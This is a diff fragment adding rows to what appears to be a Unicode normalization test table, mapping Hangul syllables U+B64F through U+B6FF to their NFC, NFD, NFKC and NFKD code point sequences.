+{ source: [0xB64F], NFC: [0xB64F], NFD: [0x1104, 0x116B, 0x11AE], NFKC: [0xB64F], NFKD: [0x1104, 0x116B, 0x11AE] },
+{ source: [0xB650], NFC: [0xB650], NFD: [0x1104, 0x116B, 0x11AF], NFKC: [0xB650], NFKD: [0x1104, 0x116B, 0x11AF] },
+{ source: [0xB651], NFC: [0xB651], NFD: [0x1104, 0x116B, 0x11B0], NFKC: [0xB651], NFKD: [0x1104, 0x116B, 0x11B0] },
+{ source: [0xB652], NFC: [0xB652], NFD: [0x1104, 0x116B, 0x11B1], NFKC: [0xB652], NFKD: [0x1104, 0x116B, 0x11B1] },
+{ source: [0xB653], NFC: [0xB653], NFD: [0x1104, 0x116B, 0x11B2], NFKC: [0xB653], NFKD: [0x1104, 0x116B, 0x11B2] },
+{ source: [0xB654], NFC: [0xB654], NFD: [0x1104, 0x116B, 0x11B3], NFKC: [0xB654], NFKD: [0x1104, 0x116B, 0x11B3] },
+{ source: [0xB655], NFC: [0xB655], NFD: [0x1104, 0x116B, 0x11B4], NFKC: [0xB655], NFKD: [0x1104, 0x116B, 0x11B4] },
+{ source: [0xB656], NFC: [0xB656], NFD: [0x1104, 0x116B, 0x11B5], NFKC: [0xB656], NFKD: [0x1104, 0x116B, 0x11B5] },
+{ source: [0xB657], NFC: [0xB657], NFD: [0x1104, 0x116B, 0x11B6], NFKC: [0xB657], NFKD: [0x1104, 0x116B, 0x11B6] },
+{ source: [0xB658], NFC: [0xB658], NFD: [0x1104, 0x116B, 0x11B7], NFKC: [0xB658], NFKD: [0x1104, 0x116B, 0x11B7] },
+{ source: [0xB659], NFC: [0xB659], NFD: [0x1104, 0x116B, 0x11B8], NFKC: [0xB659], NFKD: [0x1104, 0x116B, 0x11B8] },
+{ source: [0xB65A], NFC: [0xB65A], NFD: [0x1104, 0x116B, 0x11B9], NFKC: [0xB65A], NFKD: [0x1104, 0x116B, 0x11B9] },
+{ source: [0xB65B], NFC: [0xB65B], NFD: [0x1104, 0x116B, 0x11BA], NFKC: [0xB65B], NFKD: [0x1104, 0x116B, 0x11BA] },
+{ source: [0xB65C], NFC: [0xB65C], NFD: [0x1104, 0x116B, 0x11BB], NFKC: [0xB65C], NFKD: [0x1104, 0x116B, 0x11BB] },
+{ source: [0xB65D], NFC: [0xB65D], NFD: [0x1104, 0x116B, 0x11BC], NFKC: [0xB65D], NFKD: [0x1104, 0x116B, 0x11BC] },
+{ source: [0xB65E], NFC: [0xB65E], NFD: [0x1104, 0x116B, 0x11BD], NFKC: [0xB65E], NFKD: [0x1104, 0x116B, 0x11BD] },
+{ source: [0xB65F], NFC: [0xB65F], NFD: [0x1104, 0x116B, 0x11BE], NFKC: [0xB65F], NFKD: [0x1104, 0x116B, 0x11BE] },
+{ source: [0xB660], NFC: [0xB660], NFD: [0x1104, 0x116B, 0x11BF], NFKC: [0xB660], NFKD: [0x1104, 0x116B, 0x11BF] },
+{ source: [0xB661], NFC: [0xB661], NFD: [0x1104, 0x116B, 0x11C0], NFKC: [0xB661], NFKD: [0x1104, 0x116B, 0x11C0] },
+{ source: [0xB662], NFC: [0xB662], NFD: [0x1104, 0x116B, 0x11C1], NFKC: [0xB662], NFKD: [0x1104, 0x116B, 0x11C1] },
+{ source: [0xB663], NFC: [0xB663], NFD: [0x1104, 0x116B, 0x11C2], NFKC: [0xB663], NFKD: [0x1104, 0x116B, 0x11C2] },
+{ source: [0xB664], NFC: [0xB664], NFD: [0x1104, 0x116C], NFKC: [0xB664], NFKD: [0x1104, 0x116C] },
+{ source: [0xB665], NFC: [0xB665], NFD: [0x1104, 0x116C, 0x11A8], NFKC: [0xB665], NFKD: [0x1104, 0x116C, 0x11A8] },
+{ source: [0xB666], NFC: [0xB666], NFD: [0x1104, 0x116C, 0x11A9], NFKC: [0xB666], NFKD: [0x1104, 0x116C, 0x11A9] },
+{ source: [0xB667], NFC: [0xB667], NFD: [0x1104, 0x116C, 0x11AA], NFKC: [0xB667], NFKD: [0x1104, 0x116C, 0x11AA] },
+{ source: [0xB668], NFC: [0xB668], NFD: [0x1104, 0x116C, 0x11AB], NFKC: [0xB668], NFKD: [0x1104, 0x116C, 0x11AB] },
+{ source: [0xB669], NFC: [0xB669], NFD: [0x1104, 0x116C, 0x11AC], NFKC: [0xB669], NFKD: [0x1104, 0x116C, 0x11AC] },
+{ source: [0xB66A], NFC: [0xB66A], NFD: [0x1104, 0x116C, 0x11AD], NFKC: [0xB66A], NFKD: [0x1104, 0x116C, 0x11AD] },
+{ source: [0xB66B], NFC: [0xB66B], NFD: [0x1104, 0x116C, 0x11AE], NFKC: [0xB66B], NFKD: [0x1104, 0x116C, 0x11AE] },
+{ source: [0xB66C], NFC: [0xB66C], NFD: [0x1104, 0x116C, 0x11AF], NFKC: [0xB66C], NFKD: [0x1104, 0x116C, 0x11AF] },
+{ source: [0xB66D], NFC: [0xB66D], NFD: [0x1104, 0x116C, 0x11B0], NFKC: [0xB66D], NFKD: [0x1104, 0x116C, 0x11B0] },
+{ source: [0xB66E], NFC: [0xB66E], NFD: [0x1104, 0x116C, 0x11B1], NFKC: [0xB66E], NFKD: [0x1104, 0x116C, 0x11B1] },
+{ source: [0xB66F], NFC: [0xB66F], NFD: [0x1104, 0x116C, 0x11B2], NFKC: [0xB66F], NFKD: [0x1104, 0x116C, 0x11B2] },
+{ source: [0xB670], NFC: [0xB670], NFD: [0x1104, 0x116C, 0x11B3], NFKC: [0xB670], NFKD: [0x1104, 0x116C, 0x11B3] },
+{ source: [0xB671], NFC: [0xB671], NFD: [0x1104, 0x116C, 0x11B4], NFKC: [0xB671], NFKD: [0x1104, 0x116C, 0x11B4] },
+{ source: [0xB672], NFC: [0xB672], NFD: [0x1104, 0x116C, 0x11B5], NFKC: [0xB672], NFKD: [0x1104, 0x116C, 0x11B5] },
+{ source: [0xB673], NFC: [0xB673], NFD: [0x1104, 0x116C, 0x11B6], NFKC: [0xB673], NFKD: [0x1104, 0x116C, 0x11B6] },
+{ source: [0xB674], NFC: [0xB674], NFD: [0x1104, 0x116C, 0x11B7], NFKC: [0xB674], NFKD: [0x1104, 0x116C, 0x11B7] },
+{ source: [0xB675], NFC: [0xB675], NFD: [0x1104, 0x116C, 0x11B8], NFKC: [0xB675], NFKD: [0x1104, 0x116C, 0x11B8] },
+{ source: [0xB676], NFC: [0xB676], NFD: [0x1104, 0x116C, 0x11B9], NFKC: [0xB676], NFKD: [0x1104, 0x116C, 0x11B9] },
+{ source: [0xB677], NFC: [0xB677], NFD: [0x1104, 0x116C, 0x11BA], NFKC: [0xB677], NFKD: [0x1104, 0x116C, 0x11BA] },
+{ source: [0xB678], NFC: [0xB678], NFD: [0x1104, 0x116C, 0x11BB], NFKC: [0xB678], NFKD: [0x1104, 0x116C, 0x11BB] },
+{ source: [0xB679], NFC: [0xB679], NFD: [0x1104, 0x116C, 0x11BC], NFKC: [0xB679], NFKD: [0x1104, 0x116C, 0x11BC] },
+{ source: [0xB67A], NFC: [0xB67A], NFD: [0x1104, 0x116C, 0x11BD], NFKC: [0xB67A], NFKD: [0x1104, 0x116C, 0x11BD] },
+{ source: [0xB67B], NFC: [0xB67B], NFD: [0x1104, 0x116C, 0x11BE], NFKC: [0xB67B], NFKD: [0x1104, 0x116C, 0x11BE] },
+{ source: [0xB67C], NFC: [0xB67C], NFD: [0x1104, 0x116C, 0x11BF], NFKC: [0xB67C], NFKD: [0x1104, 0x116C, 0x11BF] },
+{ source: [0xB67D], NFC: [0xB67D], NFD: [0x1104, 0x116C, 0x11C0], NFKC: [0xB67D], NFKD: [0x1104, 0x116C, 0x11C0] },
+{ source: [0xB67E], NFC: [0xB67E], NFD: [0x1104, 0x116C, 0x11C1], NFKC: [0xB67E], NFKD: [0x1104, 0x116C, 0x11C1] },
+{ source: [0xB67F], NFC: [0xB67F], NFD: [0x1104, 0x116C, 0x11C2], NFKC: [0xB67F], NFKD: [0x1104, 0x116C, 0x11C2] },
+{ source: [0xB680], NFC: [0xB680], NFD: [0x1104, 0x116D], NFKC: [0xB680], NFKD: [0x1104, 0x116D] },
+{ source: [0xB681], NFC: [0xB681], NFD: [0x1104, 0x116D, 0x11A8], NFKC: [0xB681], NFKD: [0x1104, 0x116D, 0x11A8] },
+{ source: [0xB682], NFC: [0xB682], NFD: [0x1104, 0x116D, 0x11A9], NFKC: [0xB682], NFKD: [0x1104, 0x116D, 0x11A9] },
+{ source: [0xB683], NFC: [0xB683], NFD: [0x1104, 0x116D, 0x11AA], NFKC: [0xB683], NFKD: [0x1104, 0x116D, 0x11AA] },
+{ source: [0xB684], NFC: [0xB684], NFD: [0x1104, 0x116D, 0x11AB], NFKC: [0xB684], NFKD: [0x1104, 0x116D, 0x11AB] },
+{ source: [0xB685], NFC: [0xB685], NFD: [0x1104, 0x116D, 0x11AC], NFKC: [0xB685], NFKD: [0x1104, 0x116D, 0x11AC] },
+{ source: [0xB686], NFC: [0xB686], NFD: [0x1104, 0x116D, 0x11AD], NFKC: [0xB686], NFKD: [0x1104, 0x116D, 0x11AD] },
+{ source: [0xB687], NFC: [0xB687], NFD: [0x1104, 0x116D, 0x11AE], NFKC: [0xB687], NFKD: [0x1104, 0x116D, 0x11AE] },
+{ source: [0xB688], NFC: [0xB688], NFD: [0x1104, 0x116D, 0x11AF], NFKC: [0xB688], NFKD: [0x1104, 0x116D, 0x11AF] },
+{ source: [0xB689], NFC: [0xB689], NFD: [0x1104, 0x116D, 0x11B0], NFKC: [0xB689], NFKD: [0x1104, 0x116D, 0x11B0] },
+{ source: [0xB68A], NFC: [0xB68A], NFD: [0x1104, 0x116D, 0x11B1], NFKC: [0xB68A], NFKD: [0x1104, 0x116D, 0x11B1] },
+{ source: [0xB68B], NFC: [0xB68B], NFD: [0x1104, 0x116D, 0x11B2], NFKC: [0xB68B], NFKD: [0x1104, 0x116D, 0x11B2] },
+{ source: [0xB68C], NFC: [0xB68C], NFD: [0x1104, 0x116D, 0x11B3], NFKC: [0xB68C], NFKD: [0x1104, 0x116D, 0x11B3] },
+{ source: [0xB68D], NFC: [0xB68D], NFD: [0x1104, 0x116D, 0x11B4], NFKC: [0xB68D], NFKD: [0x1104, 0x116D, 0x11B4] },
+{ source: [0xB68E], NFC: [0xB68E], NFD: [0x1104, 0x116D, 0x11B5], NFKC: [0xB68E], NFKD: [0x1104, 0x116D, 0x11B5] },
+{ source: [0xB68F], NFC: [0xB68F], NFD: [0x1104, 0x116D, 0x11B6], NFKC: [0xB68F], NFKD: [0x1104, 0x116D, 0x11B6] },
+{ source: [0xB690], NFC: [0xB690], NFD: [0x1104, 0x116D, 0x11B7], NFKC: [0xB690], NFKD: [0x1104, 0x116D, 0x11B7] },
+{ source: [0xB691], NFC: [0xB691], NFD: [0x1104, 0x116D, 0x11B8], NFKC: [0xB691], NFKD: [0x1104, 0x116D, 0x11B8] },
+{ source: [0xB692], NFC: [0xB692], NFD: [0x1104, 0x116D, 0x11B9], NFKC: [0xB692], NFKD: [0x1104, 0x116D, 0x11B9] },
+{ source: [0xB693], NFC: [0xB693], NFD: [0x1104, 0x116D, 0x11BA], NFKC: [0xB693], NFKD: [0x1104, 0x116D, 0x11BA] },
+{ source: [0xB694], NFC: [0xB694], NFD: [0x1104, 0x116D, 0x11BB], NFKC: [0xB694], NFKD: [0x1104, 0x116D, 0x11BB] },
+{ source: [0xB695], NFC: [0xB695], NFD: [0x1104, 0x116D, 0x11BC], NFKC: [0xB695], NFKD: [0x1104, 0x116D, 0x11BC] },
+{ source: [0xB696], NFC: [0xB696], NFD: [0x1104, 0x116D, 0x11BD], NFKC: [0xB696], NFKD: [0x1104, 0x116D, 0x11BD] },
+{ source: [0xB697], NFC: [0xB697], NFD: [0x1104, 0x116D, 0x11BE], NFKC: [0xB697], NFKD: [0x1104, 0x116D, 0x11BE] },
+{ source: [0xB698], NFC: [0xB698], NFD: [0x1104, 0x116D, 0x11BF], NFKC: [0xB698], NFKD: [0x1104, 0x116D, 0x11BF] },
+{ source: [0xB699], NFC: [0xB699], NFD: [0x1104, 0x116D, 0x11C0], NFKC: [0xB699], NFKD: [0x1104, 0x116D, 0x11C0] },
+{ source: [0xB69A], NFC: [0xB69A], NFD: [0x1104, 0x116D, 0x11C1], NFKC: [0xB69A], NFKD: [0x1104, 0x116D, 0x11C1] },
+{ source: [0xB69B], NFC: [0xB69B], NFD: [0x1104, 0x116D, 0x11C2], NFKC: [0xB69B], NFKD: [0x1104, 0x116D, 0x11C2] },
+{ source: [0xB69C], NFC: [0xB69C], NFD: [0x1104, 0x116E], NFKC: [0xB69C], NFKD: [0x1104, 0x116E] },
+{ source: [0xB69D], NFC: [0xB69D], NFD: [0x1104, 0x116E, 0x11A8], NFKC: [0xB69D], NFKD: [0x1104, 0x116E, 0x11A8] },
+{ source: [0xB69E], NFC: [0xB69E], NFD: [0x1104, 0x116E, 0x11A9], NFKC: [0xB69E], NFKD: [0x1104, 0x116E, 0x11A9] },
+{ source: [0xB69F], NFC: [0xB69F], NFD: [0x1104, 0x116E, 0x11AA], NFKC: [0xB69F], NFKD: [0x1104, 0x116E, 0x11AA] },
+{ source: [0xB6A0], NFC: [0xB6A0], NFD: [0x1104, 0x116E, 0x11AB], NFKC: [0xB6A0], NFKD: [0x1104, 0x116E, 0x11AB] },
+{ source: [0xB6A1], NFC: [0xB6A1], NFD: [0x1104, 0x116E, 0x11AC], NFKC: [0xB6A1], NFKD: [0x1104, 0x116E, 0x11AC] },
+{ source: [0xB6A2], NFC: [0xB6A2], NFD: [0x1104, 0x116E, 0x11AD], NFKC: [0xB6A2], NFKD: [0x1104, 0x116E, 0x11AD] },
+{ source: [0xB6A3], NFC: [0xB6A3], NFD: [0x1104, 0x116E, 0x11AE], NFKC: [0xB6A3], NFKD: [0x1104, 0x116E, 0x11AE] },
+{ source: [0xB6A4], NFC: [0xB6A4], NFD: [0x1104, 0x116E, 0x11AF], NFKC: [0xB6A4], NFKD: [0x1104, 0x116E, 0x11AF] },
+{ source: [0xB6A5], NFC: [0xB6A5], NFD: [0x1104, 0x116E, 0x11B0], NFKC: [0xB6A5], NFKD: [0x1104, 0x116E, 0x11B0] },
+{ source: [0xB6A6], NFC: [0xB6A6], NFD: [0x1104, 0x116E, 0x11B1], NFKC: [0xB6A6], NFKD: [0x1104, 0x116E, 0x11B1] },
+{ source: [0xB6A7], NFC: [0xB6A7], NFD: [0x1104, 0x116E, 0x11B2], NFKC: [0xB6A7], NFKD: [0x1104, 0x116E, 0x11B2] },
+{ source: [0xB6A8], NFC: [0xB6A8], NFD: [0x1104, 0x116E, 0x11B3], NFKC: [0xB6A8], NFKD: [0x1104, 0x116E, 0x11B3] },
+{ source: [0xB6A9], NFC: [0xB6A9], NFD: [0x1104, 0x116E, 0x11B4], NFKC: [0xB6A9], NFKD: [0x1104, 0x116E, 0x11B4] },
+{ source: [0xB6AA], NFC: [0xB6AA], NFD: [0x1104, 0x116E, 0x11B5], NFKC: [0xB6AA], NFKD: [0x1104, 0x116E, 0x11B5] },
+{ source: [0xB6AB], NFC: [0xB6AB], NFD: [0x1104, 0x116E, 0x11B6], NFKC: [0xB6AB], NFKD: [0x1104, 0x116E, 0x11B6] },
+{ source: [0xB6AC], NFC: [0xB6AC], NFD: [0x1104, 0x116E, 0x11B7], NFKC: [0xB6AC], NFKD: [0x1104, 0x116E, 0x11B7] },
+{ source: [0xB6AD], NFC: [0xB6AD], NFD: [0x1104, 0x116E, 0x11B8], NFKC: [0xB6AD], NFKD: [0x1104, 0x116E, 0x11B8] },
+{ source: [0xB6AE], NFC: [0xB6AE], NFD: [0x1104, 0x116E, 0x11B9], NFKC: [0xB6AE], NFKD: [0x1104, 0x116E, 0x11B9] },
+{ source: [0xB6AF], NFC: [0xB6AF], NFD: [0x1104, 0x116E, 0x11BA], NFKC: [0xB6AF], NFKD: [0x1104, 0x116E, 0x11BA] },
+{ source: [0xB6B0], NFC: [0xB6B0], NFD: [0x1104, 0x116E, 0x11BB], NFKC: [0xB6B0], NFKD: [0x1104, 0x116E, 0x11BB] },
+{ source: [0xB6B1], NFC: [0xB6B1], NFD: [0x1104, 0x116E, 0x11BC], NFKC: [0xB6B1], NFKD: [0x1104, 0x116E, 0x11BC] },
+{ source: [0xB6B2], NFC: [0xB6B2], NFD: [0x1104, 0x116E, 0x11BD], NFKC: [0xB6B2], NFKD: [0x1104, 0x116E, 0x11BD] },
+{ source: [0xB6B3], NFC: [0xB6B3], NFD: [0x1104, 0x116E, 0x11BE], NFKC: [0xB6B3], NFKD: [0x1104, 0x116E, 0x11BE] },
+{ source: [0xB6B4], NFC: [0xB6B4], NFD: [0x1104, 0x116E, 0x11BF], NFKC: [0xB6B4], NFKD: [0x1104, 0x116E, 0x11BF] },
+{ source: [0xB6B5], NFC: [0xB6B5], NFD: [0x1104, 0x116E, 0x11C0], NFKC: [0xB6B5], NFKD: [0x1104, 0x116E, 0x11C0] },
+{ source: [0xB6B6], NFC: [0xB6B6], NFD: [0x1104, 0x116E, 0x11C1], NFKC: [0xB6B6], NFKD: [0x1104, 0x116E, 0x11C1] },
+{ source: [0xB6B7], NFC: [0xB6B7], NFD: [0x1104, 0x116E, 0x11C2], NFKC: [0xB6B7], NFKD: [0x1104, 0x116E, 0x11C2] },
+{ source: [0xB6B8], NFC: [0xB6B8], NFD: [0x1104, 0x116F], NFKC: [0xB6B8], NFKD: [0x1104, 0x116F] },
+{ source: [0xB6B9], NFC: [0xB6B9], NFD: [0x1104, 0x116F, 0x11A8], NFKC: [0xB6B9], NFKD: [0x1104, 0x116F, 0x11A8] },
+{ source: [0xB6BA], NFC: [0xB6BA], NFD: [0x1104, 0x116F, 0x11A9], NFKC: [0xB6BA], NFKD: [0x1104, 0x116F, 0x11A9] },
+{ source: [0xB6BB], NFC: [0xB6BB], NFD: [0x1104, 0x116F, 0x11AA], NFKC: [0xB6BB], NFKD: [0x1104, 0x116F, 0x11AA] },
+{ source: [0xB6BC], NFC: [0xB6BC], NFD: [0x1104, 0x116F, 0x11AB], NFKC: [0xB6BC], NFKD: [0x1104, 0x116F, 0x11AB] },
+{ source: [0xB6BD], NFC: [0xB6BD], NFD: [0x1104, 0x116F, 0x11AC], NFKC: [0xB6BD], NFKD: [0x1104, 0x116F, 0x11AC] },
+{ source: [0xB6BE], NFC: [0xB6BE], NFD: [0x1104, 0x116F, 0x11AD], NFKC: [0xB6BE], NFKD: [0x1104, 0x116F, 0x11AD] },
+{ source: [0xB6BF], NFC: [0xB6BF], NFD: [0x1104, 0x116F, 0x11AE], NFKC: [0xB6BF], NFKD: [0x1104, 0x116F, 0x11AE] },
+{ source: [0xB6C0], NFC: [0xB6C0], NFD: [0x1104, 0x116F, 0x11AF], NFKC: [0xB6C0], NFKD: [0x1104, 0x116F, 0x11AF] },
+{ source: [0xB6C1], NFC: [0xB6C1], NFD: [0x1104, 0x116F, 0x11B0], NFKC: [0xB6C1], NFKD: [0x1104, 0x116F, 0x11B0] },
+{ source: [0xB6C2], NFC: [0xB6C2], NFD: [0x1104, 0x116F, 0x11B1], NFKC: [0xB6C2], NFKD: [0x1104, 0x116F, 0x11B1] },
+{ source: [0xB6C3], NFC: [0xB6C3], NFD: [0x1104, 0x116F, 0x11B2], NFKC: [0xB6C3], NFKD: [0x1104, 0x116F, 0x11B2] },
+{ source: [0xB6C4], NFC: [0xB6C4], NFD: [0x1104, 0x116F, 0x11B3], NFKC: [0xB6C4], NFKD: [0x1104, 0x116F, 0x11B3] },
+{ source: [0xB6C5], NFC: [0xB6C5], NFD: [0x1104, 0x116F, 0x11B4], NFKC: [0xB6C5], NFKD: [0x1104, 0x116F, 0x11B4] },
+{ source: [0xB6C6], NFC: [0xB6C6], NFD: [0x1104, 0x116F, 0x11B5], NFKC: [0xB6C6], NFKD: [0x1104, 0x116F, 0x11B5] },
+{ source: [0xB6C7], NFC: [0xB6C7], NFD: [0x1104, 0x116F, 0x11B6], NFKC: [0xB6C7], NFKD: [0x1104, 0x116F, 0x11B6] },
+{ source: [0xB6C8], NFC: [0xB6C8], NFD: [0x1104, 0x116F, 0x11B7], NFKC: [0xB6C8], NFKD: [0x1104, 0x116F, 0x11B7] },
+{ source: [0xB6C9], NFC: [0xB6C9], NFD: [0x1104, 0x116F, 0x11B8], NFKC: [0xB6C9], NFKD: [0x1104, 0x116F, 0x11B8] },
+{ source: [0xB6CA], NFC: [0xB6CA], NFD: [0x1104, 0x116F, 0x11B9], NFKC: [0xB6CA], NFKD: [0x1104, 0x116F, 0x11B9] },
+{ source: [0xB6CB], NFC: [0xB6CB], NFD: [0x1104, 0x116F, 0x11BA], NFKC: [0xB6CB], NFKD: [0x1104, 0x116F, 0x11BA] },
+{ source: [0xB6CC], NFC: [0xB6CC], NFD: [0x1104, 0x116F, 0x11BB], NFKC: [0xB6CC], NFKD: [0x1104, 0x116F, 0x11BB] },
+{ source: [0xB6CD], NFC: [0xB6CD], NFD: [0x1104, 0x116F, 0x11BC], NFKC: [0xB6CD], NFKD: [0x1104, 0x116F, 0x11BC] },
+{ source: [0xB6CE], NFC: [0xB6CE], NFD: [0x1104, 0x116F, 0x11BD], NFKC: [0xB6CE], NFKD: [0x1104, 0x116F, 0x11BD] },
+{ source: [0xB6CF], NFC: [0xB6CF], NFD: [0x1104, 0x116F, 0x11BE], NFKC: [0xB6CF], NFKD: [0x1104, 0x116F, 0x11BE] },
+{ source: [0xB6D0], NFC: [0xB6D0], NFD: [0x1104, 0x116F, 0x11BF], NFKC: [0xB6D0], NFKD: [0x1104, 0x116F, 0x11BF] },
+{ source: [0xB6D1], NFC: [0xB6D1], NFD: [0x1104, 0x116F, 0x11C0], NFKC: [0xB6D1], NFKD: [0x1104, 0x116F, 0x11C0] },
+{ source: [0xB6D2], NFC: [0xB6D2], NFD: [0x1104, 0x116F, 0x11C1], NFKC: [0xB6D2], NFKD: [0x1104, 0x116F, 0x11C1] },
+{ source: [0xB6D3], NFC: [0xB6D3], NFD: [0x1104, 0x116F, 0x11C2], NFKC: [0xB6D3], NFKD: [0x1104, 0x116F, 0x11C2] },
+{ source: [0xB6D4], NFC: [0xB6D4], NFD: [0x1104, 0x1170], NFKC: [0xB6D4], NFKD: [0x1104, 0x1170] },
+{ source: [0xB6D5], NFC: [0xB6D5], NFD: [0x1104, 0x1170, 0x11A8], NFKC: [0xB6D5], NFKD: [0x1104, 0x1170, 0x11A8] },
+{ source: [0xB6D6], NFC: [0xB6D6], NFD: [0x1104, 0x1170, 0x11A9], NFKC: [0xB6D6], NFKD: [0x1104, 0x1170, 0x11A9] },
+{ source: [0xB6D7], NFC: [0xB6D7], NFD: [0x1104, 0x1170, 0x11AA], NFKC: [0xB6D7], NFKD: [0x1104, 0x1170, 0x11AA] },
+{ source: [0xB6D8], NFC: [0xB6D8], NFD: [0x1104, 0x1170, 0x11AB], NFKC: [0xB6D8], NFKD: [0x1104, 0x1170, 0x11AB] },
+{ source: [0xB6D9], NFC: [0xB6D9], NFD: [0x1104, 0x1170, 0x11AC], NFKC: [0xB6D9], NFKD: [0x1104, 0x1170, 0x11AC] },
+{ source: [0xB6DA], NFC: [0xB6DA], NFD: [0x1104, 0x1170, 0x11AD], NFKC: [0xB6DA], NFKD: [0x1104, 0x1170, 0x11AD] },
+{ source: [0xB6DB], NFC: [0xB6DB], NFD: [0x1104, 0x1170, 0x11AE], NFKC: [0xB6DB], NFKD: [0x1104, 0x1170, 0x11AE] },
+{ source: [0xB6DC], NFC: [0xB6DC], NFD: [0x1104, 0x1170, 0x11AF], NFKC: [0xB6DC], NFKD: [0x1104, 0x1170, 0x11AF] },
+{ source: [0xB6DD], NFC: [0xB6DD], NFD: [0x1104, 0x1170, 0x11B0], NFKC: [0xB6DD], NFKD: [0x1104, 0x1170, 0x11B0] },
+{ source: [0xB6DE], NFC: [0xB6DE], NFD: [0x1104, 0x1170, 0x11B1], NFKC: [0xB6DE], NFKD: [0x1104, 0x1170, 0x11B1] },
+{ source: [0xB6DF], NFC: [0xB6DF], NFD: [0x1104, 0x1170, 0x11B2], NFKC: [0xB6DF], NFKD: [0x1104, 0x1170, 0x11B2] },
+{ source: [0xB6E0], NFC: [0xB6E0], NFD: [0x1104, 0x1170, 0x11B3], NFKC: [0xB6E0], NFKD: [0x1104, 0x1170, 0x11B3] },
+{ source: [0xB6E1], NFC: [0xB6E1], NFD: [0x1104, 0x1170, 0x11B4], NFKC: [0xB6E1], NFKD: [0x1104, 0x1170, 0x11B4] },
+{ source: [0xB6E2], NFC: [0xB6E2], NFD: [0x1104, 0x1170, 0x11B5], NFKC: [0xB6E2], NFKD: [0x1104, 0x1170, 0x11B5] },
+{ source: [0xB6E3], NFC: [0xB6E3], NFD: [0x1104, 0x1170, 0x11B6], NFKC: [0xB6E3], NFKD: [0x1104, 0x1170, 0x11B6] },
+{ source: [0xB6E4], NFC: [0xB6E4], NFD: [0x1104, 0x1170, 0x11B7], NFKC: [0xB6E4], NFKD: [0x1104, 0x1170, 0x11B7] },
+{ source: [0xB6E5], NFC: [0xB6E5], NFD: [0x1104, 0x1170, 0x11B8], NFKC: [0xB6E5], NFKD: [0x1104, 0x1170, 0x11B8] },
+{ source: [0xB6E6], NFC: [0xB6E6], NFD: [0x1104, 0x1170, 0x11B9], NFKC: [0xB6E6], NFKD: [0x1104, 0x1170, 0x11B9] },
+{ source: [0xB6E7], NFC: [0xB6E7], NFD: [0x1104, 0x1170, 0x11BA], NFKC: [0xB6E7], NFKD: [0x1104, 0x1170, 0x11BA] },
+{ source: [0xB6E8], NFC: [0xB6E8], NFD: [0x1104, 0x1170, 0x11BB], NFKC: [0xB6E8], NFKD: [0x1104, 0x1170, 0x11BB] },
+{ source: [0xB6E9], NFC: [0xB6E9], NFD: [0x1104, 0x1170, 0x11BC], NFKC: [0xB6E9], NFKD: [0x1104, 0x1170, 0x11BC] },
+{ source: [0xB6EA], NFC: [0xB6EA], NFD: [0x1104, 0x1170, 0x11BD], NFKC: [0xB6EA], NFKD: [0x1104, 0x1170, 0x11BD] },
+{ source: [0xB6EB], NFC: [0xB6EB], NFD: [0x1104, 0x1170, 0x11BE], NFKC: [0xB6EB], NFKD: [0x1104, 0x1170, 0x11BE] },
+{ source: [0xB6EC], NFC: [0xB6EC], NFD: [0x1104, 0x1170, 0x11BF], NFKC: [0xB6EC], NFKD: [0x1104, 0x1170, 0x11BF] },
+{ source: [0xB6ED], NFC: [0xB6ED], NFD: [0x1104, 0x1170, 0x11C0], NFKC: [0xB6ED], NFKD: [0x1104, 0x1170, 0x11C0] },
+{ source: [0xB6EE], NFC: [0xB6EE], NFD: [0x1104, 0x1170, 0x11C1], NFKC: [0xB6EE], NFKD: [0x1104, 0x1170, 0x11C1] },
+{ source: [0xB6EF], NFC: [0xB6EF], NFD: [0x1104, 0x1170, 0x11C2], NFKC: [0xB6EF], NFKD: [0x1104, 0x1170, 0x11C2] },
+{ source: [0xB6F0], NFC: [0xB6F0], NFD: [0x1104, 0x1171], NFKC: [0xB6F0], NFKD: [0x1104, 0x1171] },
+{ source: [0xB6F1], NFC: [0xB6F1], NFD: [0x1104, 0x1171, 0x11A8], NFKC: [0xB6F1], NFKD: [0x1104, 0x1171, 0x11A8] },
+{ source: [0xB6F2], NFC: [0xB6F2], NFD: [0x1104, 0x1171, 0x11A9], NFKC: [0xB6F2], NFKD: [0x1104, 0x1171, 0x11A9] },
+{ source: [0xB6F3], NFC: [0xB6F3], NFD: [0x1104, 0x1171, 0x11AA], NFKC: [0xB6F3], NFKD: [0x1104, 0x1171, 0x11AA] },
+{ source: [0xB6F4], NFC: [0xB6F4], NFD: [0x1104, 0x1171, 0x11AB], NFKC: [0xB6F4], NFKD: [0x1104, 0x1171, 0x11AB] },
+{ source: [0xB6F5], NFC: [0xB6F5], NFD: [0x1104, 0x1171, 0x11AC], NFKC: [0xB6F5], NFKD: [0x1104, 0x1171, 0x11AC] },
+{ source: [0xB6F6], NFC: [0xB6F6], NFD: [0x1104, 0x1171, 0x11AD], NFKC: [0xB6F6], NFKD: [0x1104, 0x1171, 0x11AD] },
+{ source: [0xB6F7], NFC: [0xB6F7], NFD: [0x1104, 0x1171, 0x11AE], NFKC: [0xB6F7], NFKD: [0x1104, 0x1171, 0x11AE] },
+{ source: [0xB6F8], NFC: [0xB6F8], NFD: [0x1104, 0x1171, 0x11AF], NFKC: [0xB6F8], NFKD: [0x1104, 0x1171, 0x11AF] },
+{ source: [0xB6F9], NFC: [0xB6F9], NFD: [0x1104, 0x1171, 0x11B0], NFKC: [0xB6F9], NFKD: [0x1104, 0x1171, 0x11B0] },
+{ source: [0xB6FA], NFC: [0xB6FA], NFD: [0x1104, 0x1171, 0x11B1], NFKC: [0xB6FA], NFKD: [0x1104, 0x1171, 0x11B1] },
+{ source: [0xB6FB], NFC: [0xB6FB], NFD: [0x1104, 0x1171, 0x11B2], NFKC: [0xB6FB], NFKD: [0x1104, 0x1171, 0x11B2] },
+{ source: [0xB6FC], NFC: [0xB6FC], NFD: [0x1104, 0x1171, 0x11B3], NFKC: [0xB6FC], NFKD: [0x1104, 0x1171, 0x11B3] },
+{ source: [0xB6FD], NFC: [0xB6FD], NFD: [0x1104, 0x1171, 0x11B4], NFKC: [0xB6FD], NFKD: [0x1104, 0x1171, 0x11B4] },
+{ source: [0xB6FE], NFC: [0xB6FE], NFD: [0x1104, 0x1171, 0x11B5], NFKC: [0xB6FE], NFKD: [0x1104, 0x1171, 0x11B5] },
+{ source: [0xB6FF], NFC: [0xB6FF], NFD: [0x1104, 0x1171, 0x11B6], NFKC: [0xB6FF], NFKD: [0x1104, 0x1171, 0x11B6] },
